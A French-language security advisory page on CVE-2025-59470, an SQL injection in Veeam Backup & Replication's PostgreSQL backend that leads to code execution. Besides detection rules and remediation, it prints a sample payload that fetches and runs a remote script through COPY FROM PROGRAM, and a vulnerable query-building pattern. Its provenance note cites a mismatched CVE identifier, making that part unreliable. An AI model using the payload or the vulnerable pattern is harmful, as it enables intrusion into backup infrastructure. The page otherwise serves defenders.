CVE-2025-59470 : exécution de code PostgreSQL par un opérateur dans Veeam Backup & Replication
HERMES THREAT SCORE & RISQUE DE PLAN DE CONTRÔLE DE BASE DE DONNÉES
Cible :Instance de base de données PostgreSQL Veeam Backup & Replication Hermes classe la CVE-2025-59470 à 92 (CRITIQUE). La vulnérabilité permet à un compte ne disposant que du rôle restreint d'opérateur de sauvegarde (Backup Operator ou Tape Operator) de contourner les barrières applicatives pour exécuter des requêtes brutes sous le compte de service postgres. L'obtention de ce contexte permet l'accès intégral aux clés de chiffrement des sauvegardes, aux mots de passe des infrastructures virtualisées et l'exécution de code au niveau OS via les fonctions de chargement d'extensions PostgreSQL.
CVE-2025-59470: PostgreSQL Remote Code Execution via Operator Role in Veeam Backup & ReplicationVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Métadonnées et surface d’attaque
Section intitulée « 1. Métadonnées et surface d’attaque »| Paramètre | Spécification technique | Impact opérationnel |
|---|---|---|
| Identifiant CVE | CVE-2025-59470 | Identifiant officiel NVD / MITRE |
| Avis de sécurité éditeur | Veeam KB4716 | Bulletin cumulatif de sécurité VBR v13 |
| Composant affecté | Moteur de requêtes PostgreSQL VBR | Couche de persistance et de reporting |
| Versions affectées | VBR 13.x $\le$ 13.0.1.180 | Installations utilisant PostgreSQL |
| Version corrigée | Veeam Backup & Replication 13.0.1.1071 | Mise à niveau recommandée |
| Type de vulnérabilité | Injection SQL du second degré / Empilement | Élévation de privilèges applicative |
| Rôle minimal requis | Backup Operator ou Tape Operator | Utilisateur authentifié de faible niveau |
| Privilèges finaux | Compte de service postgres | Accès complet aux métadonnées et RCE hôte |
2. Analyse technique de la cause racine
Section intitulée « 2. Analyse technique de la cause racine »Avec l’abandon progressif de Microsoft SQL Server au profit de PostgreSQL comme moteur de base de données par défaut, Veeam a redéveloppé ses procédures stockées et ses connecteurs d’accès aux données.
Flux d'injection SQL dans la CVE-2025-59470 :
┌────────────────────────────────────────────────────────┐ │ Opérateur de sauvegarde (Backup Operator) │ └───────────────────────────┬────────────────────────────┘ │ Requête API Reporting / Métriques │ interval = "1 hour'; COPY cmd FROM PROGRAM '...';--" ▼ ┌────────────────────────────────────────────────────────┐ │ Service Web API Veeam Backup │ │ • Réception de l'intervalle temporel │ │ • Concaténation non paramétrée de la chaîne SQL │ │ • String.Format("SELECT ... WHERE ts > NOW() - '{0}'", interval) └───────────────────────────┬────────────────────────────┘ │ Envoi de la requête empilée ▼ ┌────────────────────────────────────────────────────────┐ │ Moteur PostgreSQL │ │ • Exécution de la commande système via PROGRAM │ │ • Dropping de webshell ou exécution de code shell │ └────────────────────────────────────────────────────────┘La faille de concaténation SQL
Section intitulée « La faille de concaténation SQL »Le défaut se situe dans la classe de service générant les rapports d’activité des bandes magnétiques et des jobs incrémentiels. Alors que les identifiants d’objets étaient correctement typés (Guid), les champs de granularité temporelle étaient convertis en chaînes brutes :
// Modèle de vulnérabilité conceptuel décompilé :string query = string.Format( "SELECT job_id, duration, status FROM backup_sessions WHERE start_time >= NOW() - INTERVAL '{0}' ORDER BY {1}", userProvidedInterval, userProvidedOrder);using (var cmd = new NpgsqlCommand(query, dbConnection)) { // Exécution avec les privilèges du pool PostgreSQL cmd.ExecuteReader();}En fournissant une séquence d’échappement de type :
1 day'; DROP TABLE temp_sessions; CREATE TEMP TABLE exp(out text); COPY exp FROM PROGRAM 'curl http://10.10.14.5/rev.sh | bash';--Le serveur PostgreSQL exécute la directive COPY ... FROM PROGRAM, qui génère un processus système exécuté sous l’identité du service de base de données (généralement postgres ou le compte de service local).
3. Détection et surveillance SIEM
Section intitulée « 3. Détection et surveillance SIEM »Règle Sigma : détection d’injection SQL sur l’API PostgreSQL Veeam
Section intitulée « Règle Sigma : détection d’injection SQL sur l’API PostgreSQL Veeam »title: Injection SQL PostgreSQL dans Veeam Backup & Replicationid: cve-2025-59470-veeam-sqlistatus: experimentaldescription: Détecte les tentatives d'échappement de commande SQL via les paramètres interval ou order dans les journaux VBRreferences: - https://www.veeam.com/kb4716logsource: category: application product: postgresqldetection: selection: message|contains: - "INTERVAL '" - "FROM PROGRAM" - "pg_read_file" - "pg_execute" message|contains: - "'; " - "';" - "--" condition: selectionfalsepositives: - Procédures de maintenance DBA manuelles autoriséeslevel: criticalRequête Splunk : exécution de processus anormaux par PostgreSQL
Section intitulée « Requête Splunk : exécution de processus anormaux par PostgreSQL »index=endpoint (process_name="postgres.exe" OR process_name="postgres")child_process IN ("cmd.exe", "powershell.exe", "bash", "sh", "curl", "wget")| table _time host process_name child_process CommandLine4. Mesures de remédiation
Section intitulée « 4. Mesures de remédiation »- Application du correctif KB4716 : déployer immédiatement la version 13.0.1.1071 de Veeam Backup & Replication.
- Audit des rôles RBAC Veeam : réviser la liste des utilisateurs affectés aux rôles Backup Operator et Tape Operator.
- Durcissement de PostgreSQL : désactiver les privilèges d’exécution
COPY FROM PROGRAMpour les rôles applicatifs non superutilisateurs si l’instance est mutualisée.
5. Références
Section intitulée « 5. Références »- Bulletin de sécurité Veeam : Veeam Security Bulletin KB4716
- Base de données NIST NVD : CVE-2025-59470 Detail
- Étude de corrélation : dossier d’investigation Veeam